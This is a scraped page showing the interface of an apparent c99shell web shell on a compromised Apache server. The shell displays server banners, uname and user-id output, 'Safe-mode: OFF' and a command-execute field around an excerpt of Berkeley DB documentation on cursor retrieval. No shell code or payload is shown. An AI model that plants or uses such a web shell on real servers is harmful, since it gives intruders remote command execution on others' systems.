Software: Apache/2.0.54 (Unix) mod_perl/1.99_09 Perl/v5.8.0 mod_ssl/2.0.54 OpenSSL/0.9.7l DAV/2 FrontPage/5.0.2.2635 PHP/4.4.0 mod_gzip/2.0.26.1a uname -a: Linux snow.he.net 4.4.276-v2-mono-1 #1 SMP Wed Jul 21 11:21:17 PDT 2021 i686 uid=99(nobody) gid=98(nobody) groups=98(nobody) Safe-mode: OFF (not secure) /usr/doc/db-3.3.11/ref/am/ drwxr-xr-x | |
| Viewing file: Select action/file-type:
Retrieving records with a cursorThe DBcursor->c_get function is the standard interface for retrieving records from the database with a cursor. The DBcursor->c_get function takes a flag which controls how the cursor is positioned within the database and returns the key/data item associated with that positioning. Similar to DB->get, DBcursor->c_get may also take a supplied key and retrieve the data associated with that key from the database. There are several flags that you can set to customize retrieval. Cursor position flags
Retrieving specific key/data pairs
Retrieving based on record numbers
Special-purpose flags
In all cases, the cursor is repositioned by a DBcursor->c_get operation to point to the newly-returned key/data pair in the database. The following is a code example showing a cursor walking through a database and displaying the records it contains to the standard output:
|
:: Command execute :: | |
--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0041 ]-- |